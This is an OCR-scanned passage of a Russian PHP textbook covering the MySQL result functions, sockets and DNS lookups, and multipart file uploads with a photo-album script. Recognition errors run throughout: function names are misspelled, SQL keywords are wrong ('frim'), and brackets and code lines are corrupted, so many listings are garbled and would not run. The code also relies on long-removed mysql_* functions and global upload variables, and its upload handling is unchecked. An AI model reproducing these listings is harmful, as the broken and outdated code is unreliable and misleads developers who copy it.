374 Часть IV. Стандартные функции РНР

Получение поля результата

int mysql_result (int $result , int $row , mixed $field)

Функция возвращает значение поля $ fiel d в строке результата с номером
$row. Параметр $ fiel d может задавать не только имя поля , но и его но-
мер — позицию , на которой столбец "стоял" при создании таблицы . Тем не
менее, рекомендуется везде, где это только возможно, использовать именно
имена полей.

Примечание

Если мы опять будем рассматривать результат как двумерный массив полей,
то параметр $ field надо поставить в соответствие его Х-координате, а
$row — Y-координате. В этом понимании Х-координата чаще всего будет ассо-
циативной — т. е. в ней задается не число, а имя столбца.

Функция универсальна : с ее помощью можно "обойти" весь результат по
одной ячейке . И хотя это не возбраняется, но делать, однако, не рекоменду-
ется, т. к. mysqi_resuit ( ) работает довольно медленно . Лучше воспользо-
ваться функциями , которые описываются дальше.

Получение целой строки результата

Разработчики MySQL предусмотрели другой, более быстрый, способ полу-
чения результата. Он чем-то похож на работу с файлами: появляется поня-
тие текущей записи результата, и следующая операция считывания пере-
двигает этот указатель на одну позицию вперед. Также можно установить
указатель на любую указанную запись .

array mysql_f etch_row ( int $result)

Функция возвращает массив-список со значениями полей очередной строки
результата $resuit . Если указатель текущей позиции результата был уста-
новлен за последней записью (то есть строки кончились), возвращает false .
Текущая позиция сдвигается к следующей записи , так что очередной вызов
mysqi_f etch_row ( ) вернет следующую строку результата.

Эту функцию чаще всего применяют в таком контексте:

$r=mysql_query ("select * frim OurTable where age<30") ;

while ($Row=mysql_fetch__row ($r) ) (

// обрабатываем строку $Row

}

Как видим, цикл оборвется, как только строки закончатся, т. е. когда
mysql_fetch_row ( ) Вернет false .

----------------------- Page 390-----------------------
Глава 26. Работа с базой данных MySQL 375

Работать с числовыми индексами полей , как до сих пор предлагалось, со-
гласитесь, не очень-то удобно. Гораздо предпочтительнее было бы исполь-
зовать для адресации поля внутри результата его имя. Функция
mysql__fetch__array ( ) как раз и извлекает из результата очередную запись и
помещает ее в ассоциативный массив .

array mvsql fetch arrayfin t Sresult )

Функция mysqi_fetch_array ( ) возвращает очередную строку результата в
виде ассоциативного массива, где каждому полю сопоставлен элемент с .
ключом, совпадающим с именем поля. Дополнительно в массив записыва-
ются элементы с числовыми ключами и значениями , соответствующими
величинам полей с этими индексами. В возвращаемом массиве они разме-
щаются сразу за элементами с "обычными" ключами .

Примечание

Может возникнуть вопрос: зачем вообще тут нужны числовые индексы. Ответ
прост: дело в том, что в результате выборки в действительности могут присут-
ствовать поля (фактически, колонки) с одинаковыми именами, но, соответст-
венно, с различными индексами. Это происходит тогда, когда выборка в
SELECT производится одновременно из нескольких таблиц (язык SQL это по-
зволяет). Думаю, в простейших приложениях такое случается нечасто.

Рекомендую всегда вместо mysqi_fetch_row( ) использовать функцию
mysqi_fetch_array о , потому что она более универсальна и к тому же, как
написано в документации , не намного медленнее.

int mysql_data_seek(int $result , int $rowjnumber)

Эта функция устанавливает указатель текущей строки в результате $resuit в
ПОЗИЦИЮ $row_number . Так ЧТО СЛСДуЮЩИ Й ВЫЗОВ m y s q l _ f e t c h _ r o w ( ) И
mysqi_fetch_array( ) вернет значения полей именно этой строки. Возвра-
щает fals e в случае ошибки или если строки кончились.

Получение информации
о результате

Будет полезно рассмотреть еще несколько функций , предназначенных для
получения различной информации о результате запроса.

string mysql_field_name(int $result , int $field_index)

Функция mysql_fieid_name( ) возвращает имя поля , которое расположено в
результате по смещению $fieid_index . В общем-то, применяется довольно
реДКО, ЧТО связано С существованием фуНКЦИИ mysql_fetch_array ( } .

----------------------- Page 391-----------------------
376 Часть IV. Стандартные функции РНР

^ Примечание

Итак, с помощью функции mysql_field_name О мы можем "переводить" чи-
словые Х-координаты в двумерном массиве результата в их ассоциативные эк-
виваленты.

string mysql_field_type(int . $result , int $field_offset )

Эта функция похожа на mysqi_fieid_nameo , только возвращает не имя, а
тип соответствующей колонки в результате . Им может быть, например , int ,
double И Т. Д.

int mysql_field_len(int $result, int $field_offset)

Функция возвращает длину поля в результате Sresuit . Поле, как обычно,
задается указанием его смещения . Под длиной здесь подразумевается не
размер данных поля в байтах, а тот размер, который был указан при его соз-
дании . Например, если поле имеет тип varchar и было создано (вместе с
таблицей) с типом varchar ( Ю О ) , то для него будет возвращено 100.

^ Примечание

Описание подробностей выходит за рамки этой книги. За детальными разъяс-
нениями вынужден отослать вас к какой-нибудь книге о языке запросов SQL.

string mysql_field_flags(int $result, int $field_offset)

Эта функция возвращает флаги, которые были использованы при создании
указанного поля в таблице. Возвращаемая строка представляет собой набор
слов, разделенных пробелами, так что вы можете преобразовать ее в массив
при ПОМОЩИ фуНКЦИИ explode ( ) :

$Flags=explode(" ",mysql_field_flags($r,$field_offset)) ;

Флаги, которые поддерживаются MySQL в настоящий момент, перечислены
в табл. 26.7.

Таблица 26.7. Флаги типов полей

Флаг Описание

not_null Поле обязательно должно быть проинициализировано при вста-
вке очередной строки в таблицу

Primary key Поле является первичным ключом — т. е. идентификатором
строки, который будет использован для ссылок на нее

Unique_key Поле должно быть уникальным

Multiple_key По этому полю построен индекс

Поле может содержать бинарный блок данных, который никак
не интерпретируется

----------------------- Page 392-----------------------
Глава 26. Работа с базой данных MySQL 377

Таблица 26.7 (окончание)

Флаг Описание

Unsigned Поле содержит беззнаковые числа

zerof ill Использовать символы с нулевым кодом вместо пробелов

binary Поле содержит бинарные данные

епшп Поле содержит элемент перечисления, т. е. только один эле-
мент из нескольких возможных

auto_increment Это поле автоматически нумеруется. Проставляется MySQLnpn
добавлении новой записи так, чтобы в таблице никогда не об-
разовывалось нескольких строк с одинаковым значением этого
поля

timestamp в поле динамически проставляется текущее время при добав-
лении или изменении записи

string mysql_field_table(int Sresult , int $field_offset)

Возвращает имя таблицы , из которой было извлечено поле со смещением
$fieid_offset в результате $resuit . Как уже говорилось, результат запроса
может быть получен из нескольких таблиц, так что вот вам средство для из-
влечения имени таблицы по номеру поля.

Пример использования функций поддержки MySQL

Ниже приводится пример комплексного использования описанных
функций.

<?

// Соединяемся с сервером на локальной машине

mysql_ccnnect("localhost") ;

// Выбираем текущую базу данных

mysql_select_db("my_database" ) ;

// Получаем все данные таблицы

$result = mysql_query{"SELECT * FROM tbl");
// Запрашиваем идентификатор данных о полях таблицы

Sfields = mysql_num_fields($result} ;
// Узнаем число записей в таблице

$rows = mysql_num_rows($result} ;
// Получаем имя таблицы (правда , мы его и так знаем , но все же...)

$table = mysql_field_table($result,0) ;
echo "Таблица '$table ' содержит $fields колонок и $rows строк<ВК>" ;

echo "Таблица содержит следующие поля:<ВЮ>" ;

----------------------- Page 393-----------------------
378 Часть IV. Стандартные функции РНР

/ / "Проходимся " по всем полям и выводим информацию о них

for ($i=0; $i<$fields ; $i++) {

$type = mysql_field_type($result , $i) ;

$name = mysql_field_name ($result , $i) ;

$len = mysql_f ield_len ($result , $i) ;

$flags = mysql_field_flags ($result , $i) ;

echo "$type $name Slen $f lags<BR>\n";

Уникальные идентификаторы в MySQL

Обычно в таблице содержится довольно много записей с разными значе-
ниями полей. Встает проблема выбора одной конкретной записи из этого
массива. В рассмотренном нами примере таблицы с информацией о гражда-
нах, пожалуй, запись можно однозначно идентифицировать по фамилии
человека. Ну а если встретятся однофамильцы? Тогда по имени . А если же и
имена совпадут? Ну, тогда...

Вы видите, насколько это все неудобно. Поэтому во избежание недоразуме-
ний подобного рода в таблицу вводят еще одно вспомогательное поле
(колонку), назвав ее, скажем, id. Этот самый id уникален у каждой записи ,
поэтому мы можем, зная id нужного нам человека, тут же получить его
данные . Кроме того, если нам понадобится, например , зафиксировать в таб-
лице еще и родственные связи людей (кто является чьим отцом, например),
мы можем завести в ней еще одно поле — parent_id , в котором будет хра-
ниться id родителя конкретного человека. Таким образом, описанная тех-
ника оказывается довольно удобной.

Пусть теперь мы хотим добавить в таблицу сведения о еще одном человеке.
Логично было бы, чтобы его id проставлялся автоматически . Возникает во-
прос: как нам этот id вычислить? В самом деле, мы же не знаем, какие id в
таблице в данный момент "свободны"... Можно использовать для этой цели
текущее время в секундах. Но вдруг именно в данную секунду кто-то еще
точно так же добавляет в базу данных запись? Можно, конечно, взять мак-
симальный id, прибавить к нему единичку и занести в таблицу. Но где га-
рантия, что, опять же в этот момент другой администратор не проделал ту
же операцию — до того, как вы добавили свою информацию, но после того,
как определили максимальный id?

Как раз для решения этой проблемы и предназначена в MySQL возмож-
ность под названием AUTO_INCREMENT . А именно , при создании таблицы мы
можем какое-нибудь ее поле (в нашем случае как раз id) объявить так:

ИмяПоля int auto_ increment primary key

----------------------- Page 394-----------------------
Глава 26. Работа с базой данных MySQL 379

Немного длинновато, но это стоит того! Теперь любая операция INSERT ав-
томатически проставит у добавленной записи поле имяполя так, чтобы оно
было уникально во всей таблице — MySQL это гарантирует. В простейшем
случае — просто увеличит на 1 некий внутренний счетчик, глобальный для
всей таблицы , и занесет его новое значение в нужное поле записи . Причем
гарантируется, что никакие проблемы с совместным доступом к таблице
просто не могут возникнуть, как это произошло бы, используй мы "кустар-
ные" способы.

Получить только что вставленный идентификатор можно при помощи
ФУНКЦИИ mysql_insert_id( ) .

int mysql_insert_id([int $link_identifier] )

Функция возвращает непосредственно перед ее вызовом сгенерированный
идентификатор записи для автоинкрементного поля после выполнения ко-
манды insert . Вызывать ее разумно только сразу после выполнения инст-
рукции insert , например , в таком контексте:

mysql_query("insert into Таблица(поле! , поле2 ) values('аа','ЬЬ')") ;

$id=mysql_insert_id();

Теперь к только что вставленной записи можно обратиться, используя иден-
тификатор $id:

$r=mysql_query("select * from Таблица where id=$id");

$Row=mysql_fetch_array($r);

Работа с таблицами

Вот и подходит к концу наш разговор о функциях поддержки MySQL в
РНР. Мы познакомились с большинством функций , которые встроены в
РНР для взаимодействия с этой СУБД. Мы еще вернемся к MySQL в части V
книги .
Подводя черту, имеет смысл рассмотреть несколько функций , имеющих от-
ношение к работе с таблицами в целом.

int mysql list_fields(string $dbname , string $tblname [,int Slink] )

Функция mysqi_iist_f ieids ( ) возвращает информацию об указанной таб-
лице stbiname в базе данных $dbname, используя идентификатор соединения
$iink, если он задан (в противном случае — последнее открытое соедине-
ние). Возвращаемое значение — идентификатор результата, который может
быть проанализирован обычными средствами, либо при помощи функций
mysql field flags( ) , mysql_field_len( ) , mysql_field_name( ) И

----------------------- Page 395-----------------------
380 Часть IV. Стандартные функции РНР

mysqi_fieid_type о . В случае ошибки возвращается -1, текст сообщения
ошибки может быть получен обычным способом.

int mysql_list_tables(string $database [,int $link_identifier] )

Функция возвращает идентификатор результата (одна колонка), в котором
содержатся имена всех таблиц, присутствующих в базе данных . Для извле-
чения этих имен можно использовать функцию mysqi_resuit о с номером
колонки, равным 0.

----------------------- Page 396-----------------------
Глава 27

Сетевые функции

Здесь я коротко рассмотрю некоторые сетевые функции , предоставляемые
РНР. За более детальной информацией обращайтесь к сопроводительной
документации.

Работа с сокетами

Помните, до этого мы обсуждали функцию f open ( ) и замечали, что ее мож-
но использовать и для открытия сетевых соединений с файлами на других
хостах в Сети. Однако функция f open о позволяла работать лишь с содер-
жимым файла, переданного по протоколу HTTP. Но ведь по HTTP, кроме
"тела" документа, передаются также некоторые заголовки, посланные серве-
ром. "Добраться" до них всех и позволяет функция f sockopen ( ) .

int fsockopen(string $host , int $port [,int &$errno ] [,string &$errstr] )

Эта функция работает аналогично f open { } , но только устанавливает сетевое со-
единение с указанным хостом $host и программой, закрепленной на нем за
портом $port . Она возвращает файловый дескриптор, с которым затем могут
быть выполнены обычные операции: f read о, f w r i t e o , f gets о, f e o f o и т. д.
В случае ошибки, как обычно, возвращается false и, если заданы параметры-
переменные $ermo и $errstr , в них записываются соответственно номер
ошибки (не равный нулю) и текст сообщения об ошибке. Если функция вер-
нула false , но $errno тем не менее сбросилась в 0, это скорее всего означает,
что произошла ошибка инициализации сокета. Например, такое может про-
изойти, если в Windows не установлен требуемый протокол TCP/IP.
Функция f sockopen ( ) поддерживает и так называемые сокеты домена Unix,
которые представляют собой в этой системе специальные файлы, наподобие
каналов. Для использования такого режима нужно установить $port в 0 и
передать в $host имя файла сокета. Мы не будем останавливаться на этом
режиме, т. к. он специфичен для ОС Unix.
По умолчанию сокет (соединение) открывается в режиме чтения и записи,
используя блокирующий режим передачи. Вы можете переключить режим в
неблокирующий, если вызовете функцию socket_set_biocking( ) (см. ниже).

В примере из листинга 27.1 мы "проэмулировали" браузер, послав в порт 80
удаленного хоста HTTP-запрос GET и получив весь ответ вместе с заголовка-

----------------------- Page 397-----------------------
382 _ Часть IV. Стандартные функции РНР

ми. Мы используем функцию Htmispeciaichars о , чтобы вывести HTML-
код документа в текстовом формате.

| Листинг 27.1. "Эмуляция" браузера

// Соединяемся с Web-сервером www.php.net
$fp = fsockopen("localhost" , 80) ;
// Посылаем запрос главной страницы сервера
fputs($fp,"GET / HTTP/1.0\n\n") ;
// Теперь читаем по одной строке и выводим ответ
echo "<pre>";
while ( ifeo f ($fp ) )
echo HtmlSpecialChars (fgets ($fp , 1000) ) ;
echo "</pre>";
// Отключаемся от сервера
fclose ($fp) ;

Разумеется, никто не обязывает нас использовать именно 80-й порт. Даже
наоборот: функция fsockopen o универсальна. Мы можем использовать ее и
для подключения к telnet-порту, и к FTP — словом, для чего угодно.

int socket_set_blocking(int $sd, int $mode)

Эта функция устанавливает блокирующий или неблокирующий режим для
соединения, открытого ранее при помощи fsockopeno . В режиме блокиров-
ки ($mode=true) функции чтения будут "засыпать", пока передача данных не
завершится. Таким образом, если данных много, или же произошел какой-то
"затор" в сети, ваша программа остановится и будет дожидаться выхода из
функции чтения. В режиме запрета блокировки ($mode=faise) функции напо-
добие fgets ( ) будут сразу же возвращать управление в программу, даже если
через соединение не было передано еще ни одного байта данных. Таким обра-
зом, считывается ровно столько информации, сколько доступно на данный
момент. Определить, что данные кончились, можно с помощью функции
feof ( ) , как это было сделано в примере из листинга 27.1.

Функции для работы с DNS

Здесь мы рассмотрим несколько очень полезных функций для работы с
DNS-серверами и IP-адресом.

----------------------- Page 398-----------------------
Глава 27. Сетевые функции 383

Разрешение IP-адреса в доменное
имя и наоборот

string gethostbyaddr(string $ip_address )

Функция возвращает доменное имя хоста, заданного своим IP-адресом.
В случае ошибки возвращается $ip_address .

Внимание

Функция не гарантирует, что полученное имя будет на самом деле соответст-
вовать действительности. Она лишь опрашивает хост по адресу $ip__address
и просит его сообщить свое имя. Владелец хоста , таким образом, может пере-
дать все, что ему заблагорассудится. Как обойти эту проблему, с/и. чуть ниже.

string gethostbyname(string $hostnarae)

Функция получает в параметрах доменное имя хоста и возвращает его IP-
адрес. Если адрес определить не удалось, возвращает $hostname .

array gethostbynamel(string $hostname )

Эта функция очень похожа на предыдущую, но возвращает не один, а все
IP-адреса хоста с именем $hostname . Как мы знаем, одному доменному
имени может соответствовать сразу несколько IP-адресов, и в случае силь-
ной загруженности серверов DNS-сервер сам выбирает, по какому IP-адресу
перенаправить запрос. Он выбирает тот адрес, который использовался наи-
более редко.
Обратите внимание на то, что в Интернете существует множество виртуаль-
ных хостов, которые имеют различные доменные имена , но один и тот же
IP-адрес. Таким образом, если следующая последовательность команд для
существующего хоста с IP-адресом $ip всегда печатает этот же адрес:

$host=gethostbyaddr($ip);

echo gethostbyname($host) ;

то аналогичная последовательность для домена с DNS-именем $host , на-
оборот, может напечатать не то же имя , а другое:

$ip=get.hostbyname !$host) ;

echo gethostbyaddr($ip) ;

Корректный перевод IP-адреса
в доменное имя

Функция gethostbyaddr ( ) на первый взгляд проста и привлекательна, но с
ней связан один нюанс, который до недавнего времени было принято игно-
рировать. Дело в том, что при поиске доменного имени машины по задан-

----------------------- Page 399-----------------------
384 __ Часть IV. Стандартные функции РНР

ному IP-адресу РНР обращается к хосту по этому адресу и запрашивает у
него доменное имя . Если хостом владеет злоумышленник , он может перехва-
тить эту операцию и возвратить вам все, что ему (а не вам) будет угодно!
Рассмотрим это на примере. Пусть вам надо определить доменное имя ком-
пьютера, расположенного по адресу 195.8 4 . 1 2 . 3 4 . Давайте предположим ,
что эта машина принадлежит симпатичному хакеру, который настроил свой
DNS-сервер так, чтобы он говорил: "Я являюсь хостом whitehouse.gov" ,
если его об этом спросят по адресу 195 . 8 4 . 12 . 34 . Так что, выполнив код:

echo gethostbyaddr{"195.84.12.34") ;

мы получим вывод whiiehouse.gov . Произошла подмена!

Как же нам быть? А вот как. Предположим, мы получили от хоста с некото-
рым IP-адресом информацию, что его "зовут" whitehouse.gov . Обратимся
же к нему и получим его IP-адрес, а потом сравним, тот ли это адрес, кото-
рый мы запрашивали вначале:

$ip="195. 84 . 12.34";

$host=gethostbyaddr ($ip) ;
// Если была ошибка , $host==$ip
if ($host==$ip) die ("Неверный ip-адрес $ip!");
$check_ip=gethostbyname($host) ;
// Если была ошибка , $check_ip==$host
if ($check_ip==$host) die {"Неверное доменное имя Shost!") ;
//Ну вот , теперь сверяем данные
it ($ip==$check_ip)
echo "По адресу $ip расположен хост $host";
else

echo "По адресу $ip расположен хост злоумышленника ! ! !";

Длинно? Да. Но это еще, к сожалению, не все. Ведь у одного и того же до-
менного имени могут быть сразу несколько IP-адресов. Нас устроит, если
хотя бы один из них совпадет с затребованным нами. Так что придется вос-
пользоваться функцией gethostbynamei о и циклом перебора списка IP-
адресов. Вот что у нас получится:

! Листинг 27.2. Безопасная функция получения доменного имени
'

// Аналог функции gethostbyaddr ( ) , но всегда проверяет,

// не подменил ли злоумышленник по адресу $ip имя своего

// хоста на чужое. В последнем случае просто возвращает false .

function safe_gethostbyaddr ($ip)

----------------------- Page 400-----------------------
Глава 27. Сетевые функции _ 385

{ // Получаем предполагаемое имя
$host=gethostbyaddr ($ip) ;
// Адреса не существует? Не фатально — вернем то , что есть .
if ($host==$ip) return $host ;
// Теперь спрашиваем $host , кто он такой .
$check ips=gethostbynamel ($host) ;
// Есть ли среди адресов , которые он вернул , затребованный?
foreach ($check_ips as $check_ip ) (
// Если нашли , то $host достоверен — возвращаем его .
if ($ip==$check_ip) return $host ;
}
// Иначе , если ни один адрес не совпал , выходим
return false ;

// Теперь посмотрим , что из себя представляет наш адрес . . .
echo safe_gethostbyaddr ("195.84.12.34") ;

Вот теперь все будет работать корректно. Однако за все приходится платить:
safe_gethostbyaddr о требует гораздо больших затрат времени , чем
gethostbyaddr ( } , потому что нам приходится дополнительно обращаться
еще как минимум к одной машине . Если безопасность для вас важнее, чем
какие-то пара секунд простоя, используйте safe_gethostbyaddr о .

----------------------- Page 401-----------------------

----------------------- Page 402-----------------------
'. ч.'*-".::•.-• : . ;; •.,,•".:... .

ЧАСТЬ V.

ПРИЕМЫ
ПРОГРАММИРОВАНИЯ
НАРНР

----------------------- Page 403-----------------------

----------------------- Page 404-----------------------
Глава 28

Загрузка файлов
на сервер

Иногда бывает просто необходимо позволить пользователю не только за-
полнить текстовые поля формы и установить соответствующие флажки и
радиокнопки, но также и указать несколько файлов, которые будут впослед-
ствии загружены с компьютера пользователя на сервер. Для этого в языке
HTML и протоколе HTTP предусмотрены специальные средства.

^ Примечание

Чтобы не применять двусмысленной терминологии, я буду использовать слово
"закачать" для обозначения загрузки файла клиента на сервер, и термин
"скачать" для иллюстрации обратного процесса (с сервера — клиенту). Я уже
предчувствую, как будет недоволен, услышав об этом, редактор книги, и он в
чем-то прав. Так что, уважаемый читатель, если вы читаете здесь эти рассуж-
дения, — значит, я победил в споре, а если не читаете... Что ж, вы об этом и не
1
догадаетесь.

Мы уже рассматривали механизм , который применяется при закачке фай-
лов, в главе 3. Вы, возможно, помните , что он выглядел не очень-то привле-

1 Русский язык, изначально обладающий гигантской свободой в выборе слова, посто-

янно развивается. То, что казалось неприемлемым вчера, сегодня становится нормой,
и наоборот. Безусловно, у любого обратившего внимание на эти строки при прочте-
нии слов "закачать" и "скачать" вряд ли возникнут ассоциации с бригадой мускули-
стых администраторов, придающих передаваемым по сети файлам необходимую ки-
нетическую энергию для последующего перемещения под напором, или другие
неверные мысли, несмотря на большое количество смысловых оттенков употребле-
ния этих слов (убаюкивать, вызвать головокружение, или же в понимании "подлого
приема садовников, торговцев присадками (раскачивать деревце, не давая ему укоре-
ниться)"). Вообще говоря, о твердых правилах в условиях возрастающего слияния
разговорных терминов и литературного языка говорить не приходится. В толковом
словаре С. И. Ожегова и Н. Ю.-Шведовой дано пояснение идиоме "Закачаешься!" как
выражения высокой оценки чего-либо. Редакторы вовсе не стремятся убивать живое
изложение, и поэтому если вы, уважаемые читатели, также видите эти строки, значит
было решено — "быть закачиваемому" (из примеров к статье "Закачать" толкового
словаря живого великорусского языка В. И. Даля). — Ред.

----------------------- Page 405-----------------------
390 Часть V. Приемы программирования на РНР

кательно. На мой взгляд, закачка файлов и вообще работа с multipart-
методом передачи формы — довольно нетривиальные задачи. Однако спешу
обрадовать: в РНР все это давно реализовано и отлажено. Но обо всем по
порядку.

Multipart-формы

Мы помним , что в большинстве случаев данные из формы в браузере, пере-
дающиеся методом GET или POST , приходят к нам в одинаковом формате:

поле1=значение1&поле2=значение2&...

При этом все символы, отличные от "английских" букв и цифр (и еще неко-
торых) URL-кодируются: заменяются на %хх , где хх — шестнадцатеричный
код символа. Это сильно замедляет закачку больших файлов.

В принципе , multipait-формы призваны одним махом решить эту проблему.
Нам нужно в соответствующем тэге <form > задать параметр:

enctype=multipart/form-data

После этого данные, полученные от нашей формы, будут разбиты на не-
сколько блоков информации (по одному на каждый элемент формы) . Каж-
дый такой блок очень похож на обычную посылку "заголовки-данные" про-
токола HTTP:

Идентификатор_начала\п

Content-Disposition : form-data ; пате="имя" [;другие параметры]\п

\п

значениеХп

Браузер автоматически формирует строку идентификатор_начала из расчета,
чтобы она не встречалась ни в одном из передаваемых файлов (и ни в од-
ном из других полей формы). Это означает, что сегодня идентификатор бу-
дет одним , а завтра, возможно , совсем другим .

Тэг выбора файла

Давайте просмотрим, какой тэг надо вставить в форму, чтобы в ней появил-
ся элемент управления загрузкой файла — текстовое поле с кнопкой Browse
справа. Таким тэгом является разновидность <input> :

<input type=file пате=имя_элемента [size=pa3Mep_nonP]>

Сценарию вместе с содержимым файла передается и некоторая другая ин-
формация, а именно:

П размер файла;

----------------------- Page 406-----------------------
Глава 28. Загрузка файлов на сервер 39?

П имя файла в системе клиента ;

П тип файла .

Скоро мы узнаем, как извлечь эту информацию в программе на РНР .

Закачка файлов и безопасность

Возможно, вы обратили внимание на то, что у последнего приведенного
тэга <input type=fiie > отсутствует атрибут value . To есть когда пользова-
тель открывает страницу , он никогда не увидит в элементе закачки ничего ,
кроме пустой строки . Поначалу это кажется довольно неприятным ограни-
чением: в самом деле, мы ведь можем задавать параметры по умолчанию
для, скажем, текстового поля.

Давайте задумаемся, почему разработчики HTML пошли на такое исключе-
ние из общего правила . Наверное, вы слышали о возможностях DHTML
(Dynamic HTML — Динамический HTML) и JavaScript . С их помощью
можно создавать интерактивные страницы, реагирующие на действия поль-
зователя в реальном времени . Например , можно написать код на JavaScript,
который запускается, когда пользователь нажимает какую-нибудь кнопку в
форме на странице, или когда он вводит текст в одно из текстовых полей .

Применение DHTML не ограничивается упомянутыми возможностями.
В частности, умелый программист, владеющий, к примеру , JavaScript , может
создавать страницы , которые будут автоматически формировать и отсылать
на сервер формы без ведома пользователя. В принципе, в этом нет никакого
"криминала": ведь все данные, которые будут отосланы, сгенерированы этой
же страницей .

Что же получится, если разрешить тэгу <input type=fiie > иметь параметр
по умолчанию? Предположим, пользователь хранит все свои пароли в
"засекреченном" файле c:\passwords.txt . Тогда "пассворднэппер" может
написать на JavaScript и встроить в страницу программу, которая создает и
отправляет на "свой" сервер форму незаметно для пользователя. При этом
достаточно, чтобы в форме присутствовало единственное поле закачки фай-
ла с проставленным параметром vaiue=C : \password s .txt .

Естественный вывод: в случае, если бы параметр по умолчанию был разре-
шен для тэга закачки файла, то программист на JavaScript, "заманив" на
свою страницу пользователя, мог бы иметь возможность скопировать любой
файл с компьютера клиента .

Теперь вы понимаете , почему тэг <input type=fiie > не допускает исполь-
зования атрибута value?. .

----------------------- Page 407-----------------------
392 Часть V. Приемы программирования на РНР

Поддержка закачки в РНР

Так как РНР специально разрабатывался как язык для Web-приложений , то,
естественно, он "умеет" работать как с привычными нам, так и с multipart-
формами. Более того, он также поддерживает закачку файлов на сервер.

Простые имена полей закачки

Как я уже говорил, интерпретатору совершенно все равно, в каком формате
приходят данные из формы. Он умеет их обрабатывать и "рассовывать" по
переменным в любом формате. Однако данные одного специального поля
формы — а именно, поля закачки — он интерпретирует особым образом.
Пусть у нас есть multipart-форма, а в ней — поле закачки файла:

<form action="script.php" method=POST enctype=multipart/form-data>
<input type=file name="MyFile">
<input type=submit>
</form>

После выбора в этом поле нужного файла и отправки формы (и загрузки на
сервер того файла, который был указан) РНР определит, что нужно принять
файл, и сохранит его во временном каталоге на сервере. Кроме того, в про-
грамме создадутся несколько переменных.

О $MyFile — имя временного файла на машине сервера, который содержит
данные, переданные пользователем. С этим файлом теперь можно вытво-
рять все что угодно: удалять, копировать, переименовывать, снова удалять...

П $MyFiie_name — исходное имя файла, которое он имел до своей отправки
на сервер.

П $MyFiie_size — размер закачанного файла в байтах.

ГЗ $MyFiie_type — тип загруженного файла, если браузер смог его опреде-
лить . К примеру , image/gif , text/html И Т. Д.

Как видим, префикс у всех созданных переменных один и тот же -
MyFiie_. Этот префикс состоит из имени элемента закачки в форме, к кото-
рому присоединен знак _.

Теперь мы можем, например, скопировать только что полученный файл на
новое место, при помощи Copy ($MyFile , "uploaded.dat" ) или других
средств, проверив предварительно, не слишком ли он велик, основываясь на
значении переменной $MyFiie_size .

Внимание

Настоятельно рекомендую использовать функцию копирования, а не переиме-
нования/перемещения. Дело в том, что в некоторых операционных системах

----------------------- Page 408-----------------------
Глава 28. Загрузка файлов на сервер _ 393

временный каталог, в котором РНР хранит только что закачанные файлы, мо-
жет находиться на другом носителе, и в результате операция переименования
завершится с ошибкой. Хотя мы и оставили копию полученного файла во вре-
менном каталоге, можно не заботиться о его удалении в целях экономии места:
РНР сделает это автоматически.

Если процесс окончится неуспешно, вы сможете определить это по отсутст-
вию файла, имя которого задано в $MyFiie , или же по отсутствию самой
этой переменной в программе.

Пример: фотоальбом

Давайте напишем небольшой сценарий, представляющий собой простейший
фотоальбом с возможностью добавления в Него новых фотографий.

| Листинг 28.1. Сценарий photo. php: простейший фотоальбом

$ImgDir="img"; // Каталог для хранения изображений

@mkdir ($ImgDir , 666) ; // Создаем , если его еще нет

// Проверяем , нажата ли кнопка добавления фотографии

if (@$doUpload) {

// Проверяем , принят ли файл

if (@file_exists ($File) ) {

// Все в порядке — добавляем файл в каталог с фотографиями

// Используем то же имя , что и в системе пользователя

Copy ($File, "$ImgDir/".basename ($File_name) ) ;

// Теперь считываем в массив наш фотоальбом

$d=opendir ($ImgDir) ; // открываем каталог

$Photos=array () ; // изначально альбом пуст

// Перебираем все файлы

while ( ($e=readdir ($d) ) !==false) {

// Это изображение GIF , JPG или PNG?

A
if ( !ereg(" (.*) \\ . (gif I jpglpng ) $", $e , $P) ) continue ;

// Если нет , переходим к следующему файлу ,

// иначе обрабатываем этот

$path="$ImgDir/$e"; // адрес

$sz=Get!mageSize ($path) ; // размер

----------------------- Page 409-----------------------
394 Часть V . Приемы программирования на РНР

$tm=filemtime(?path); // время добавления
// Вставляем изображение в массив $Photos
$Photos[$tm] = array (

1
'time => filemtime($path) , // время добавления
'name' <=> $e , // имя файла
'url' => $path , // его URI
rw ' => $sz[0] , // ширина картинки

'h' => $sz[l] , // ее высота
'wh' => $sz[3] // "width=xxx height=yyy "

/ / I01JU4U.; маи-иьа vi'iiuLoa - время ь секундах , когда бьша добавлена

// та или иная фотография . Сортируем массив : наиболее "свежие"
// фотографии располагаем ближе к его началу .

krsort ($Photos) ;

// Данные для вывода готовы . Дело за малым — оформить страницу .

<body>

<form action=photo.php method=POST enctype=multipart/form-data>

<input type=file name=File><br>

<input type=submit name=doUpload value="3aKa4aTb новую фотографию">

</form>

<?foreach($Photos as $n=>$Img) {?>

<img

src=<?=$Img[ 'url ' ] ?>

<?=$Img [ 'wh ' ] ?>

а]^="Добавлена <?=date ("d.ra.Y H : i : s", $Img [ 'time '])?>"

</body>

Конечно, этот сценарий далеко не идеален (например , он не поддерживает
удаление фотографий из фотоальбома), но для иллюстрации заявленных
возможностей, по-моему, вполне подходит. Для простоты я совместил две
функции (администрирование альбома и его просмотр) в одной программе.
В реальной жизни , конечно, за каждую из них должен отвечать отдельный
сценарий (первый из них , наверное, будет требовать от пользователя прохо-
ждения авторизации, чтобы добавлять фотографии в альбом могли лишь
привилегированные пользователи).

----------------------- Page 410-----------------------
Глава 28. Загрузка файлов на сервер 395

Примечание

Обратите внимание на то, как этот сценарий оформлен. В самом начале нахо-
дится весь код на РНР, который, собственно, и работает с данными фотоальбо-
ма. В этом коде в принципе нет никаких указаний на то, как должна быть отфор-
матирована страница. Его задача — просто сгенерировать данные. Наоборот, тот
текст, который следует после закрывающей скобки ?> , содержит минимум кода
на РНР. Его главная задача— оформить страницу так, чтобы она выглядела
красиво. У меня нет никаких других стимулов, кроме как экономии типограф-
ской краски, чтобы не разнести данные блоки по разным файлам. Мы еще вер-
немся к такому подходу в одной из следующих глав.

Сложные имена полей

Как вы, наверное, помните, элементы формы могут иметь имена, выглядящие,
как элементы массива: д [ Ю ] , в[1 ] [text ] и т. д. До недавнего времени (в треть-
ей версии РНР) это касалось только "обычных" полей, но не полей закачки
файлов. К счастью, в РНР версии 4 все изменилось в лучшую сторону.
Давайте применим указанные возможности в следующем примере формы и
определим, какие переменные создаст РНР при ее отправке на сервер.

<form action="script.php " method=POST enctype=multipart/form-data>

<ЬЗ>Выберите тип файлов в вашей системе:</пЗ>
Текстовый файл : <input type=file name="File[text]"><br>

Бинарный файл : <input type=file name="File[bin]"><br>
Картинка : <input type=file name="File[pic]"><br>

